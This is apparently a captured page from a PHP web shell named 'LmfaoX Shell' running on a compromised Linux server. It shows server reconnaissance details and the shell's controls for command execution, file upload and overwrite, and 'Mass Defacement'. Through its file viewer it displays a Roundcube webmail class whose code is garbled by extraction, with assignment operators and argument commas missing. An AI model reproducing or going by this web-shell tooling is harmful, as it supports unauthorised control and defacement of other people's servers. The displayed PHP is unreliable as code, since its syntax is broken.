ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:20.06 GB of 70.42 GB (28.49%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ program/ lib/ Roundcube/ - drwxr-xr-x

Directory:
Viewing file:     rcube_result_set.php (2.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2006-2013, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class representing an address directory result set                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Roundcube result set class
 *
 * Representing an address directory result set.
 * Implenets Iterator and thus be used in foreach() loops.
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_result_set implements IteratorArrayAccess
{
    public 
$count 0;
    public 
$first 0;
    public 
$searchonly false;
    public 
$records = array();

    private 
$current 0;

    function 
__construct($c=0$f=0)
    {
        
$this->count = (int)$c;
        
$this->first = (int)$f;
    }

    function 
add($rec)
    {
        
$this->records[] = $rec;
    }

    function 
iterate()
    {
        return 
$this->records[$this->current++];
    }

    function 
first()
    {
        
$this->current 0;
        return 
$this->records[$this->current];
    }

    function 
seek($i)
    {
        
$this->current $i;
    }

    
/*** Implement PHP ArrayAccess interface ***/

    
public function offsetSet($offset$value)
    {
        if (
is_null($offset)) {
            
$offset count($this->records);
            
$this->records[] = $value;
        }
        else {
            
$this->records[$offset] = $value;
        }
    }

    public function 
offsetExists($offset)
    {
        return isset(
$this->records[$offset]);
    }

    public function 
offsetUnset($offset)
    {
        unset(
$this->records[$offset]);
    }

    public function 
offsetGet($offset)
    {
        return 
$this->records[$offset];
    }

    
/***  PHP 5 Iterator interface  ***/

    
function rewind()
    {
        
$this->current 0;
    }

    function 
current()
    {
        return 
$this->records[$this->current];
    }

    function 
key()
    {
        return 
$this->current;
    }

    function 
next()
    {
        return 
$this->iterate();
    }

    function 
valid()
    {
        return isset(
$this->records[$this->current]);
    }

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3424 seconds